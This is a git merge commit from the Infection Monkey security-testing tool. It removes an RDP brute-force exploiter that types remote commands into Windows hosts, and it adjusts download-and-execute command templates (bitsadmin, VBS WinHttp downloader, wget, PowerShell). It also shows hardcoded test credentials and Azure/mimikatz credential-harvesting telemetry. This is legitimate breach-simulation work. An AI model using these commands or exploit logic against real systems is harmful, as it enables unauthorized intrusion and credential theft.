Merge branch '400/zero-trust-mvp' into 400/more-tests

This commit is contained in:
Shay Nehmad 2019-09-04 12:11:05 +03:00
commit 37fac9c613
68 changed files with 607 additions and 750 deletions

View File

@ -2,11 +2,13 @@
Thanks for your interest in making the Monkey -- and therefore, your network -- a better place!
Are you about to report a bug? Sorry to hear it. Here's our [Issue tracker](https://github.com/guardicore/monkey/issues).
Are you about to report a bug? Sorry to hear it. Here's our
[Issue tracker](https://github.com/guardicore/monkey/issues).
Please try to be as specific as you can about your problem; try to include steps
to reproduce. While we'll try to help anyway, focusing us will help us help you faster.
If you want to contribute new code or fix bugs..
If you want to contribute new code or fix bugs, please read the following sections. You can also contact us (the
maintainers of this project) at our [Slack channel](https://join.slack.com/t/infectionmonkey/shared_invite/enQtNDU5MjAxMjg1MjU1LTM2ZTg0ZDlmNWNlZjQ5NDI5NTM1NWJlYTRlMGIwY2VmZGMxZDlhMTE2OTYwYmZhZjM1MGZhZjA2ZjI4MzA1NDk).
## Submitting code
@ -20,7 +22,17 @@ The following is a *short* list of recommendations. PRs that don't match these c
* **Don't** leave your pull request description blank.
* **Do** license your code as GPLv3.
Also, please submit PRs to the develop branch.
Also, please submit PRs to the `develop` branch.
#### Unit tests
**Do** add unit tests if you think it fits. We place our unit tests in the same folder as the code, with the same
filename, followed by the _test suffix. So for example: `somefile.py` will be tested by `somefile_test.py`.
Please try to read some of the existing unit testing code, so you can see some examples.
#### Branch naming scheme
**Do** name your branches in accordance with GitFlow. The format is `ISSUE_#/BRANCH_NAME`; For example,
`400/zero-trust-mvp` or `232/improvment/hide-linux-on-cred-maps`.
## Issues
* **Do** write a detailed description of your bug and use a descriptive title.

View File

@ -30,7 +30,6 @@ The Infection Monkey uses the following techniques and exploits to propagate to
* Multiple exploit methods:
* SSH
* SMB
* RDP
* WMI
* Shellshock
* Conficker

View File

@ -62,7 +62,6 @@
"exploiter_classes": [
"SmbExploiter",
"WmiExploiter",
"RdpExploiter",
"ShellShockExploiter",
"SambaCryExploiter",
"ElasticGroovyExploiter",
@ -79,9 +78,6 @@
"remote_user_pass": "Password1!",
"user_to_add": "Monkey_IUSER_SUPPORT"
},
"rdp_grinder": {
"rdp_use_vbs_download": true
},
"sambacry": {
"sambacry_folder_paths_to_guess": [
"/",

View File

@ -606,20 +606,16 @@ fullTest.conf is a good config to start, because it covers all machines.
<td>2}p}aR]&amp;=M</td>
</tr>
<tr class="odd">
<td>Scan results:</td>
<td>Machine exploited using RDP grinder</td>
</tr>
<tr class="even">
<td>Servers config:</td>
<td><p>Remote desktop enabled</p>
<p>Admin users credentials:</p>
<p>m0nk3y, 2}p}aR]&amp;=M</p></td>
</tr>
<tr class="odd">
<tr class="even">
<td>Notes:</td>
<td></td>
</tr>
<tr class="even">
<tr class="odd">
<td></td>
<td></td>
</tr>
@ -649,7 +645,7 @@ fullTest.conf is a good config to start, because it covers all machines.
</tr>
<tr class="even">
<td>Servers config:</td>
<td><p>Has cashed mimikatz-15 RDP credentials</p>
<td><p>Has cached mimikatz-15 RDP credentials</p>
<p><a href="https://social.technet.microsoft.com/Forums/windows/en-US/8160d62b-0f5d-48a3-9fe9-5cd319837917/how-te-reenable-smb1-in-windows1o?forum=win10itprogeneral">SMB</a> turned on</p></td>
</tr>
<tr class="odd">

View File

@ -7,7 +7,7 @@ import json
__author__ = 'shay.nehmad'
class TestFilter_instance_data_from_aws_response(TestCase):
class TestFilterInstanceDataFromAwsResponse(TestCase):
def test_filter_instance_data_from_aws_response(self):
json_response_full = """
{

View File

@ -0,0 +1,2 @@
ES_SERVICE = 'elastic-search-9200'

View File

@ -156,10 +156,9 @@ TESTS_MAP = {
},
}
EVENT_TYPE_ISLAND = "island"
EVENT_TYPE_MONKEY_NETWORK = "monkey_network"
EVENT_TYPE_MONKEY_LOCAL = "monkey_local"
EVENT_TYPES = (EVENT_TYPE_MONKEY_LOCAL, EVENT_TYPE_MONKEY_NETWORK, EVENT_TYPE_ISLAND)
EVENT_TYPES = (EVENT_TYPE_MONKEY_LOCAL, EVENT_TYPE_MONKEY_NETWORK)
PILLARS_TO_TESTS = {
DATA: [],

View File

@ -11,8 +11,13 @@ def get_ip_in_src_and_not_in_dst(ip_addresses, source_subnet, target_subnet):
return get_ip_if_in_subnet(ip_addresses, source_subnet)
def get_ip_if_in_subnet(ip_addresses, source_subnet):
def get_ip_if_in_subnet(ip_addresses, subnet):
"""
:param ip_addresses: IP address list.
:param subnet: Subnet to check if one of ip_addresses is in there. This is common.network.network_range.NetworkRange
:return: The first IP in ip_addresses which is in the subnet if there is one, otherwise returns None.
"""
for ip_address in ip_addresses:
if source_subnet.is_in_range(ip_address):
if subnet.is_in_range(ip_address):
return ip_address
return None

View File

@ -8,12 +8,23 @@ class TestSegmentationUtils(IslandTestCase):
self.fail_if_not_testing_env()
source = CidrRange("1.1.1.0/24")
target = CidrRange("2.2.2.0/24")
self.assertIsNone(get_ip_in_src_and_not_in_dst(
[text_type("2.2.2.2")], source, target
))
# IP not in both
self.assertIsNone(get_ip_in_src_and_not_in_dst(
[text_type("3.3.3.3"), text_type("4.4.4.4")], source, target
))
# IP not in source, in target
self.assertIsNone(get_ip_in_src_and_not_in_dst(
[text_type("2.2.2.2")], source, target
))
# IP in source, not in target
self.assertIsNotNone(get_ip_in_src_and_not_in_dst(
[text_type("8.8.8.8"), text_type("1.1.1.1")], source, target
))
# IP in both subnets
self.assertIsNone(get_ip_in_src_and_not_in_dst(
[text_type("8.8.8.8"), text_type("1.1.1.1")], source, source
))

View File

@ -216,9 +216,6 @@ class Configuration(object):
user_to_add = "Monkey_IUSER_SUPPORT"
remote_user_pass = "Password1!"
# rdp exploiter
rdp_use_vbs_download = True
# User and password dictionaries for exploits.
def get_exploit_user_password_pairs(self):

View File

@ -63,7 +63,6 @@
"user_to_add": "Monkey_IUSER_SUPPORT",
"remote_user_pass": "Password1!",
"ping_scan_timeout": 10000,
"rdp_use_vbs_download": true,
"smb_download_timeout": 300,
"smb_service_name": "InfectionMonkey",
"retry_failed_explotation": true,

View File

@ -80,7 +80,6 @@ class HostExploiter(object):
from infection_monkey.exploit.win_ms08_067 import Ms08_067_Exploiter
from infection_monkey.exploit.wmiexec import WmiExploiter
from infection_monkey.exploit.smbexec import SmbExploiter
from infection_monkey.exploit.rdpgrinder import RdpExploiter
from infection_monkey.exploit.sshexec import SSHExploiter
from infection_monkey.exploit.shellshock import ShellShockExploiter
from infection_monkey.exploit.sambacry import SambaCryExploiter

View File

@ -8,9 +8,10 @@ import json
import logging
import requests
from infection_monkey.exploit.web_rce import WebRCE
from infection_monkey.model import WGET_HTTP_UPLOAD, RDP_CMDLINE_HTTP, CHECK_COMMAND, ID_STRING, CMD_PREFIX,\
from infection_monkey.model import WGET_HTTP_UPLOAD, BITSADMIN_CMDLINE_HTTP, CHECK_COMMAND, ID_STRING, CMD_PREFIX,\
DOWNLOAD_TIMEOUT
from infection_monkey.network.elasticfinger import ES_PORT, ES_SERVICE
from infection_monkey.network.elasticfinger import ES_PORT
from common.data.network_consts import ES_SERVICE
from infection_monkey.telemetry.attack.t1197_telem import T1197Telem
from common.utils.attack_utils import ScanStatus, BITS_UPLOAD_STRING
@ -38,7 +39,7 @@ class ElasticGroovyExploiter(WebRCE):
exploit_config = super(ElasticGroovyExploiter, self).get_exploit_config()
exploit_config['dropper'] = True
exploit_config['url_extensions'] = ['_search?pretty']
exploit_config['upload_commands'] = {'linux': WGET_HTTP_UPLOAD, 'windows': CMD_PREFIX+" "+RDP_CMDLINE_HTTP}
exploit_config['upload_commands'] = {'linux': WGET_HTTP_UPLOAD, 'windows': CMD_PREFIX +" " + BITSADMIN_CMDLINE_HTTP}
return exploit_config
def get_open_service_ports(self, port_list, names):

View File

@ -1,346 +0,0 @@
import os.path
import threading
import time
from logging import getLogger
import rdpy.core.log as rdpy_log
import twisted.python.log
from rdpy.core.error import RDPSecurityNegoFail
from rdpy.protocol.rdp import rdp
from twisted.internet import reactor
from common.utils.attack_utils import ScanStatus, BITS_UPLOAD_STRING
from common.utils.exploit_enum import ExploitType
from infection_monkey.exploit import HostExploiter
from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey, build_monkey_commandline
from infection_monkey.exploit.tools.http_tools import HTTPTools
from infection_monkey.model import RDP_CMDLINE_HTTP_BITS, RDP_CMDLINE_HTTP_VBS
from infection_monkey.network.tools import check_tcp_port
from infection_monkey.telemetry.attack.t1197_telem import T1197Telem
from infection_monkey.utils import utf_to_ascii
__author__ = 'hoffer'
KEYS_INTERVAL = 0.1
MAX_WAIT_FOR_UPDATE = 120
KEYS_SENDER_SLEEP = 0.01
DOWNLOAD_TIMEOUT = 60
RDP_PORT = 3389
LOG = getLogger(__name__)
def twisted_log_func(*message, **kw):
if kw.get('isError'):
error_msg = 'Unknown'
if 'failure' in kw:
error_msg = kw['failure'].getErrorMessage()
LOG.error("Error from twisted library: %s" % (error_msg,))
else:
LOG.debug("Message from twisted library: %s" % (str(message),))
def rdpy_log_func(message):
LOG.debug("Message from rdpy library: %s" % (message,))
twisted.python.log.msg = twisted_log_func
rdpy_log._LOG_LEVEL = rdpy_log.Level.ERROR
rdpy_log.log = rdpy_log_func
# thread for twisted reactor, create once.
global g_reactor
g_reactor = threading.Thread(target=reactor.run, args=(False,))
class ScanCodeEvent(object):
def __init__(self, code, is_pressed=False, is_special=False):
self.code = code
self.is_pressed = is_pressed
self.is_special = is_special
class CharEvent(object):
def __init__(self, char, is_pressed=False):
self.char = char
self.is_pressed = is_pressed
class SleepEvent(object):
def __init__(self, interval):
self.interval = interval
class WaitUpdateEvent(object):
def __init__(self, updates=1):
self.updates = updates
pass
def str_to_keys(orig_str):
result = []
for c in orig_str:
result.append(CharEvent(c, True))
result.append(CharEvent(c, False))
result.append(WaitUpdateEvent())
return result
class KeyPressRDPClient(rdp.RDPClientObserver):
def __init__(self, controller, keys, width, height, addr):
super(KeyPressRDPClient, self).__init__(controller)
self._keys = keys
self._addr = addr
self._update_lock = threading.Lock()
self._wait_update = False
self._keys_thread = threading.Thread(target=self._keysSender)
self._keys_thread.daemon = True
self._width = width
self._height = height
self._last_update = 0
self.closed = False
self.success = False
self._wait_for_update = None
def onUpdate(self, destLeft, destTop, destRight, destBottom, width, height, bitsPerPixel, isCompress, data):
update_time = time.time()
self._update_lock.acquire()
self._last_update = update_time
self._wait_for_update = False
self._update_lock.release()
def _keysSender(self):
LOG.debug("Starting to send keystrokes")
while True:
if self.closed:
return
if len(self._keys) == 0:
reactor.callFromThread(self._controller.close)
LOG.debug("Closing RDP connection to %s:%s", self._addr.host, self._addr.port)
return
key = self._keys[0]
self._update_lock.acquire()
time_diff = time.time() - self._last_update
if type(key) is WaitUpdateEvent:
self._wait_for_update = True
self._update_lock.release()
key.updates -= 1
if key.updates == 0:
self._keys = self._keys[1:]
elif time_diff > KEYS_INTERVAL and (not self._wait_for_update or time_diff > MAX_WAIT_FOR_UPDATE):
self._wait_for_update = False
self._update_lock.release()
if type(key) is ScanCodeEvent:
reactor.callFromThread(self._controller.sendKeyEventScancode, key.code, key.is_pressed,
key.is_special)
elif type(key) is CharEvent:
reactor.callFromThread(self._controller.sendKeyEventUnicode, ord(key.char), key.is_pressed)
elif type(key) is SleepEvent:
time.sleep(key.interval)
self._keys = self._keys[1:]
else:
self._update_lock.release()
time.sleep(KEYS_SENDER_SLEEP)
def onReady(self):
time.sleep(1)
reactor.callFromThread(self._controller.sendKeyEventUnicode, ord('Y'), True)
time.sleep(1)
reactor.callFromThread(self._controller.sendKeyEventUnicode, ord('Y'), False)
time.sleep(1)
pass
def onClose(self):
self.success = len(self._keys) == 0
self.closed = True
def onSessionReady(self):
LOG.debug("Logged in, session is ready for work")
self._last_update = time.time()
self._keys_thread.start()
class CMDClientFactory(rdp.ClientFactory):
def __init__(self, username, password="", domain="", command="", optimized=False, width=666, height=359):
self._username = username
self._password = password
self._domain = domain
self._keyboard_layout = "en"
# key sequence: WINKEY+R,cmd /v,Enter,<command>&exit,Enter
self._keys = [SleepEvent(1),
ScanCodeEvent(91, True, True),
ScanCodeEvent(19, True),
ScanCodeEvent(19, False),
ScanCodeEvent(91, False, True), WaitUpdateEvent()] + str_to_keys("cmd /v") + \
[WaitUpdateEvent(), ScanCodeEvent(28, True),
ScanCodeEvent(28, False), WaitUpdateEvent()] + str_to_keys(command + "&exit") + \
[WaitUpdateEvent(), ScanCodeEvent(28, True),
ScanCodeEvent(28, False), WaitUpdateEvent()]
self._optimized = optimized
self._security = rdp.SecurityLevel.RDP_LEVEL_NLA
self._nego = True
self._client = None
self._width = width
self._height = height
self.done_event = threading.Event()
self.success = False
def buildObserver(self, controller, addr):
"""
@summary: Build RFB observer
We use a RDPClient as RDP observer
@param controller: build factory and needed by observer
@param addr: destination address
@return: RDPClientQt
"""
# create client observer
self._client = KeyPressRDPClient(controller, self._keys, self._width, self._height, addr)
controller.setUsername(self._username)
controller.setPassword(self._password)
controller.setDomain(self._domain)
controller.setKeyboardLayout(self._keyboard_layout)
controller.setHostname(addr.host)
if self._optimized:
controller.setPerformanceSession()
controller.setSecurityLevel(self._security)
return self._client
def clientConnectionLost(self, connector, reason):
# try reconnect with basic RDP security
if reason.type == RDPSecurityNegoFail and self._nego:
LOG.debug("RDP Security negotiate failed on %s:%s, starting retry with basic security" %
(connector.host, connector.port))
# stop nego
self._nego = False
self._security = rdp.SecurityLevel.RDP_LEVEL_RDP
connector.connect()
return
LOG.debug("RDP connection to %s:%s closed" % (connector.host, connector.port))
self.success = self._client.success
self.done_event.set()
def clientConnectionFailed(self, connector, reason):
LOG.debug("RDP connection to %s:%s failed, with error: %s" %
(connector.host, connector.port, reason.getErrorMessage()))
self.success = False
self.done_event.set()
class RdpExploiter(HostExploiter):
_TARGET_OS_TYPE = ['windows']
EXPLOIT_TYPE = ExploitType.BRUTE_FORCE
_EXPLOITED_SERVICE = 'RDP'
def __init__(self, host):
super(RdpExploiter, self).__init__(host)
def is_os_supported(self):
if super(RdpExploiter, self).is_os_supported():
return True
if not self.host.os.get('type'):
is_open, _ = check_tcp_port(self.host.ip_addr, RDP_PORT)
if is_open:
self.host.os['type'] = 'windows'
return True
return False
def _exploit_host(self):
global g_reactor
is_open, _ = check_tcp_port(self.host.ip_addr, RDP_PORT)
if not is_open:
LOG.info("RDP port is closed on %r, skipping", self.host)
return False
src_path = get_target_monkey(self.host)
if not src_path:
LOG.info("Can't find suitable monkey executable for host %r", self.host)
return False
# create server for http download.
http_path, http_thread = HTTPTools.create_transfer(self.host, src_path)
if not http_path:
LOG.debug("Exploiter RdpGrinder failed, http transfer creation failed.")
return False
LOG.info("Started http server on %s", http_path)
cmdline = build_monkey_commandline(self.host, get_monkey_depth() - 1)
if self._config.rdp_use_vbs_download:
command = RDP_CMDLINE_HTTP_VBS % {
'monkey_path': self._config.dropper_target_path_win_32,
'http_path': http_path, 'parameters': cmdline}
else:
command = RDP_CMDLINE_HTTP_BITS % {
'monkey_path': self._config.dropper_target_path_win_32,
'http_path': http_path, 'parameters': cmdline}
user_password_pairs = self._config.get_exploit_user_password_pairs()
if not g_reactor.is_alive():
g_reactor.daemon = True
g_reactor.start()
exploited = False
for user, password in user_password_pairs:
try:
# run command using rdp.
LOG.info("Trying RDP logging into victim %r with user %s and password (SHA-512) '%s'",
self.host, user, self._config.hash_sensitive_data(password))
LOG.info("RDP connected to %r", self.host)
user = utf_to_ascii(user)
password = utf_to_ascii(password)
command = utf_to_ascii(command)
client_factory = CMDClientFactory(user, password, "", command)
reactor.callFromThread(reactor.connectTCP, self.host.ip_addr, RDP_PORT, client_factory)
client_factory.done_event.wait()
if client_factory.success:
if not self._config.rdp_use_vbs_download:
T1197Telem(ScanStatus.USED, self.host, BITS_UPLOAD_STRING).send()
self.add_vuln_port(RDP_PORT)
exploited = True
self.report_login_attempt(True, user, password)
break
else:
# failed exploiting with this user/pass
self.report_login_attempt(False, user, password)
except Exception as exc:
LOG.debug("Error logging into victim %r with user"
" %s and password (SHA-512) '%s': (%s)", self.host,
user, self._config.hash_sensitive_data(password), exc)
continue
http_thread.join(DOWNLOAD_TIMEOUT)
http_thread.stop()
if not exploited:
LOG.debug("Exploiter RdpGrinder failed, rdp failed.")
return False
elif http_thread.downloads == 0:
LOG.debug("Exploiter RdpGrinder failed, http download failed.")
return False
LOG.info("Executed monkey '%s' on remote victim %r",
os.path.basename(src_path), self.host)
self.add_executed_cmd(command)
return True

View File

@ -309,7 +309,7 @@ class WebRCE(HostExploiter):
"""
if not isinstance(resp, bool) and POWERSHELL_NOT_FOUND in resp:
LOG.info("Powershell not found in host. Using bitsadmin to download.")
backup_command = RDP_CMDLINE_HTTP % {'monkey_path': dest_path, 'http_path': http_path}
backup_command = BITSADMIN_CMDLINE_HTTP % {'monkey_path': dest_path, 'http_path': http_path}
T1197Telem(ScanStatus.USED, self.host, BITS_UPLOAD_STRING).send()
resp = self.exploit(url, backup_command)
return resp

View File

@ -12,14 +12,12 @@ GENERAL_CMDLINE_LINUX = '(cd %(monkey_directory)s && %(monkey_commandline)s)'
DROPPER_CMDLINE_DETACHED_WINDOWS = 'cmd /c start cmd /c %%(dropper_path)s %s' % (DROPPER_ARG, )
MONKEY_CMDLINE_DETACHED_WINDOWS = 'cmd /c start cmd /c %%(monkey_path)s %s' % (MONKEY_ARG, )
MONKEY_CMDLINE_HTTP = 'cmd.exe /c "bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&cmd /c %%(monkey_path)s %s"' % (MONKEY_ARG, )
RDP_CMDLINE_HTTP_BITS = 'bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&&start /b %%(monkey_path)s %s %%(parameters)s' % (MONKEY_ARG, )
RDP_CMDLINE_HTTP_VBS = 'set o=!TMP!\!RANDOM!.tmp&@echo Set objXMLHTTP=CreateObject("WinHttp.WinHttpRequest.5.1")>!o!&@echo objXMLHTTP.open "GET","%%(http_path)s",false>>!o!&@echo objXMLHTTP.send()>>!o!&@echo If objXMLHTTP.Status=200 Then>>!o!&@echo Set objADOStream=CreateObject("ADODB.Stream")>>!o!&@echo objADOStream.Open>>!o!&@echo objADOStream.Type=1 >>!o!&@echo objADOStream.Write objXMLHTTP.ResponseBody>>!o!&@echo objADOStream.Position=0 >>!o!&@echo objADOStream.SaveToFile "%%(monkey_path)s">>!o!&@echo objADOStream.Close>>!o!&@echo Set objADOStream=Nothing>>!o!&@echo End if>>!o!&@echo Set objXMLHTTP=Nothing>>!o!&@echo Set objShell=CreateObject("WScript.Shell")>>!o!&@echo objShell.Run "%%(monkey_path)s %s %%(parameters)s", 0, false>>!o!&start /b cmd /c cscript.exe //E:vbscript !o!^&del /f /q !o!' % (MONKEY_ARG, )
DELAY_DELETE_CMD = 'cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del /f /q %(file_path)s & if not exist %(file_path)s exit)) > NUL 2>&1'
# Commands used for downloading monkeys
POWERSHELL_HTTP_UPLOAD = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \'%(http_path)s\' -OutFile \'%(monkey_path)s\' -UseBasicParsing\""
WGET_HTTP_UPLOAD = "wget -O %(monkey_path)s %(http_path)s"
RDP_CMDLINE_HTTP = 'bitsadmin /transfer Update /download /priority high %(http_path)s %(monkey_path)s'
BITSADMIN_CMDLINE_HTTP = 'bitsadmin /transfer Update /download /priority high %(http_path)s %(monkey_path)s'
CHMOD_MONKEY = "chmod +x %(monkey_path)s"
RUN_MONKEY = " %(monkey_path)s %(monkey_type)s %(parameters)s"
# Commands used to check for architecture and if machine is exploitable

View File

@ -6,11 +6,11 @@ import requests
from requests.exceptions import Timeout, ConnectionError
import infection_monkey.config
from common.data.network_consts import ES_SERVICE
from infection_monkey.model.host import VictimHost
from infection_monkey.network import HostFinger
ES_PORT = 9200
ES_SERVICE = 'elastic-search-9200'
ES_HTTP_TIMEOUT = 5
LOG = logging.getLogger(__name__)
__author__ = 'danielg'

View File

@ -1,10 +1,11 @@
import logging
import subprocess
import socket
from infection_monkey.control import ControlClient
from common.utils.attack_utils import ScanStatus
from infection_monkey.telemetry.post_breach_telem import PostBreachTelem
from infection_monkey.utils import is_windows_os
from infection_monkey.config import WormConfiguration
from infection_monkey.telemetry.attack.t1064_telem import T1064Telem
LOG = logging.getLogger(__name__)
@ -47,8 +48,26 @@ class PBA(object):
"""
exec_funct = self._execute_default
result = exec_funct()
if self.scripts_were_used_successfully(result):
T1064Telem(ScanStatus.USED, "Scripts were used to execute %s post breach action." % self.name).send()
PostBreachTelem(self, result).send()
def is_script(self):
"""
Determines if PBA is a script (PBA might be a single command)
:return: True if PBA is a script(series of OS commands)
"""
return isinstance(self.command, list) and len(self.command) > 1
def scripts_were_used_successfully(self, pba_execution_result):
"""
Determines if scripts were used to execute PBA and if they succeeded
:param pba_execution_result: result of execution function. e.g. self._execute_default
:return: True if scripts were used, False otherwise
"""
pba_execution_succeeded = pba_execution_result[1]
return pba_execution_succeeded and self.is_script()
def _execute_default(self):
"""
Default post breach command execution routine

View File

@ -1,10 +1,7 @@
enum34
impacket
pycryptodome
pyasn1
cffi
twisted
rdpy
requests
odict
paramiko

View File

@ -1,10 +1,7 @@
enum34
impacket
pycryptodome
pyasn1
cffi
twisted
rdpy
requests
odict
paramiko

View File

@ -7,6 +7,7 @@ import subprocess
from common.utils.attack_utils import ScanStatus
from infection_monkey.telemetry.attack.t1005_telem import T1005Telem
from infection_monkey.telemetry.attack.t1064_telem import T1064Telem
__author__ = 'danielg'
@ -58,6 +59,7 @@ class AzureCollector(object):
decrypt_raw = decrypt_proc.communicate(input=b64_result)[0]
decrypt_data = json.loads(decrypt_raw)
T1005Telem(ScanStatus.USED, 'Azure credentials', "Path: %s" % filepath).send()
T1064Telem(ScanStatus.USED, 'Bash scripts used to extract azure credentials.').send()
return decrypt_data['username'], decrypt_data['password']
except IOError:
LOG.warning("Failed to parse VM Access plugin file. Could not open file")
@ -97,6 +99,7 @@ class AzureCollector(object):
password_raw = ps_out.split('\n')[-2].split(">")[1].split("$utf8content")[1]
password = json.loads(password_raw)["Password"]
T1005Telem(ScanStatus.USED, 'Azure credentials', "Path: %s" % filepath).send()
T1064Telem(ScanStatus.USED, 'Powershell scripts used to extract azure credentials.').send()
return username, password
except IOError:
LOG.warning("Failed to parse VM Access plugin file. Could not open file")

View File

@ -63,5 +63,6 @@ class WindowsInfoCollector(InfoCollector):
if "credentials" in self.info:
self.info["credentials"].update(mimikatz_info)
self.info["mimikatz"] = mimikatz_collector.get_mimikatz_text()
LOG.info('Mimikatz info gathered successfully')
else:
LOG.info('No mimikatz info was gathered')

View File

@ -0,0 +1,19 @@
from infection_monkey.telemetry.attack.usage_telem import AttackTelem
class T1064Telem(AttackTelem):
def __init__(self, status, usage):
"""
T1064 telemetry.
:param status: ScanStatus of technique
:param usage: Usage string
"""
super(T1064Telem, self).__init__('T1064', status)
self.usage = usage
def get_data(self):
data = super(T1064Telem, self).get_data()
data.update({
'usage': self.usage
})
return data

View File

@ -15,15 +15,9 @@ class SegmentationFinding(Finding):
@staticmethod
def create_or_add_to_existing_finding(subnets, status, segmentation_event):
"""
If you're trying to add a Failed finding:
If the finding doesn't exist at all: create failed
else:
if pass, turn to fail
add event
If you're trying to add a Passed finding:
If the finding doesn't exist at all: create Passed
else: add event
Creates a segmentation finding. If a segmentation finding with the relevant subnets already exists, adds the
event to the existing finding, and the "worst" status is chosen (i.e. if the existing one is "Failed" it will
remain so).
:param subnets: the 2 subnets of this finding.
:param status: STATUS_PASSED or STATUS_FAILED

View File

@ -1,6 +1,6 @@
from mongoengine import ValidationError
from common.data.zero_trust_consts import EVENT_TYPE_ISLAND
from common.data.zero_trust_consts import EVENT_TYPE_MONKEY_NETWORK
from monkey_island.cc.models.zero_trust.event import Event
from monkey_island.cc.testing.IslandTestCase import IslandTestCase
@ -14,7 +14,7 @@ class TestEvent(IslandTestCase):
_ = Event.create_event(
title=None, # title required
message="bla bla",
event_type=EVENT_TYPE_ISLAND
event_type=EVENT_TYPE_MONKEY_NETWORK
)
with self.assertRaises(ValidationError):
@ -28,5 +28,5 @@ class TestEvent(IslandTestCase):
_ = Event.create_event(
title="skjs",
message="bla bla",
event_type=EVENT_TYPE_ISLAND
event_type=EVENT_TYPE_MONKEY_NETWORK
)

View File

@ -58,7 +58,6 @@ class AWSExporter(Exporter):
'wmi_password': AWSExporter._handle_wmi_password_issue,
'wmi_pth': AWSExporter._handle_wmi_pth_issue,
'ssh_key': AWSExporter._handle_ssh_key_issue,
'rdp': AWSExporter._handle_rdp_issue,
'shared_passwords_domain': AWSExporter._handle_shared_passwords_domain_issue,
'shared_admins_domain': AWSExporter._handle_shared_admins_domain_issue,
'strong_users_on_crit': AWSExporter._handle_strong_users_on_crit_issue,
@ -305,20 +304,6 @@ class AWSExporter(Exporter):
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
)
@staticmethod
def _handle_rdp_issue(issue, instance_arn):
return AWSExporter._build_generic_finding(
severity=1,
title="Machines are accessible using passwords supplied by the user during the Monkey's configuration.",
description="Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format(
issue['username']),
recommendation="The machine machine ({ip_address}) is vulnerable to a RDP attack. The Monkey authenticated over the RDP protocol with user {username} and its password.".format(
machine=issue['machine'], ip_address=issue['ip_address'], username=issue['username']),
instance_arn=instance_arn,
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
)
@staticmethod
def _handle_shared_passwords_domain_issue(issue, instance_arn):

View File

@ -3,7 +3,7 @@ import logging
from monkey_island.cc.models import Monkey
from monkey_island.cc.services.attack.technique_reports import T1210, T1197, T1110, T1075, T1003, T1059, T1086, T1082
from monkey_island.cc.services.attack.technique_reports import T1145, T1105, T1065, T1035, T1129, T1106, T1107, T1188
from monkey_island.cc.services.attack.technique_reports import T1090, T1041, T1222, T1005, T1018, T1016
from monkey_island.cc.services.attack.technique_reports import T1090, T1041, T1222, T1005, T1018, T1016, T1021, T1064
from monkey_island.cc.services.attack.attack_config import AttackConfig
from monkey_island.cc.database import mongo
@ -33,7 +33,10 @@ TECHNIQUES = {'T1210': T1210.T1210,
'T1222': T1222.T1222,
'T1005': T1005.T1005,
'T1018': T1018.T1018,
'T1016': T1016.T1016}
'T1016': T1016.T1016,
'T1021': T1021.T1021,
'T1064': T1064.T1064
}
REPORT_NAME = 'new_report'

View File

@ -48,6 +48,15 @@ SCHEMA = {
"necessary": True,
"description": "Files may be copied from one system to another to stage "
"adversary tools or other files over the course of an operation."
},
"T1021": {
"title": "T1021 Remote services",
"type": "bool",
"value": True,
"necessary": False,
"depends_on": ["T1110"],
"description": "An adversary may use Valid Accounts to log into a service"
" specifically designed to accept remote connections."
}
}
},
@ -62,7 +71,7 @@ SCHEMA = {
"necessary": False,
"description": "Adversaries may use brute force techniques to attempt access to accounts "
"when passwords are unknown or when password hashes are obtained.",
"depends_on": ["T1210"]
"depends_on": ["T1210", "T1021"]
},
"T1003": {
"title": "T1003 Credential dumping",
@ -164,6 +173,14 @@ SCHEMA = {
"necessary": True,
"description": "Adversaries can use PowerShell to perform a number of actions,"
" including discovery of information and execution of code.",
},
"T1064": {
"title": "T1064 Scripting",
"type": "bool",
"value": True,
"necessary": True,
"description": "Adversaries may use scripts to aid in operations and "
"perform multiple actions that would otherwise be manual.",
}
}
},

View File

@ -0,0 +1,51 @@
from monkey_island.cc.database import mongo
from monkey_island.cc.services.attack.technique_reports import AttackTechnique
from common.utils.attack_utils import ScanStatus
from monkey_island.cc.services.attack.technique_reports.technique_report_tools import parse_creds
__author__ = "VakarisZ"
class T1021(AttackTechnique):
tech_id = "T1021"
unscanned_msg = "Monkey didn't try to login to any remote services."
scanned_msg = "Monkey tried to login to remote services with valid credentials, but failed."
used_msg = "Monkey successfully logged into remote services on the network."
# Gets data about brute force attempts
query = [{'$match': {'telem_category': 'exploit',
'data.attempts': {'$not': {'$size': 0}}}},
{'$project': {'_id': 0,
'machine': '$data.machine',
'info': '$data.info',
'attempt_cnt': {'$size': '$data.attempts'},
'attempts': {'$filter': {'input': '$data.attempts',
'as': 'attempt',
'cond': {'$eq': ['$$attempt.result', True]}
}
}
}
}]
scanned_query = {'telem_category': 'exploit',
'data.attempts': {'$elemMatch': {'result': True}}}
@staticmethod
def get_report_data():
attempts = []
if mongo.db.telemetry.count_documents(T1021.scanned_query):
attempts = list(mongo.db.telemetry.aggregate(T1021.query))
if attempts:
status = ScanStatus.USED.value
for result in attempts:
result['successful_creds'] = []
for attempt in result['attempts']:
result['successful_creds'].append(parse_creds(attempt))
else:
status = ScanStatus.SCANNED.value
else:
status = ScanStatus.UNSCANNED.value
data = T1021.get_base_data_by_status(status)
data.update({'services': attempts})
return data

View File

@ -1,5 +1,4 @@
from monkey_island.cc.database import mongo
from monkey_island.cc.services.attack.technique_reports import UsageTechnique
from monkey_island.cc.services.attack.technique_reports.usage_technique import UsageTechnique
__author__ = "VakarisZ"

View File

@ -0,0 +1,18 @@
from monkey_island.cc.services.attack.technique_reports.usage_technique import UsageTechnique
from monkey_island.cc.database import mongo
__author__ = "VakarisZ"
class T1064(UsageTechnique):
tech_id = "T1064"
unscanned_msg = "Monkey didn't run scripts or tried to run and failed."
scanned_msg = ""
used_msg = "Monkey ran scripts on machines in the network."
@staticmethod
def get_report_data():
data = T1064.get_tech_base_data()
script_usages = list(mongo.db.telemetry.aggregate(T1064.get_usage_query()))
data.update({'scripts': script_usages})
return data

View File

@ -10,7 +10,7 @@ class T1090(AttackTechnique):
tech_id = "T1090"
unscanned_msg = "Monkey didn't use connection proxy."
scanned_msg = ""
used_msg = "Monkey used connection proxy."
used_msg = "Monkey used connection proxy to communicate with machines on the network."
@staticmethod
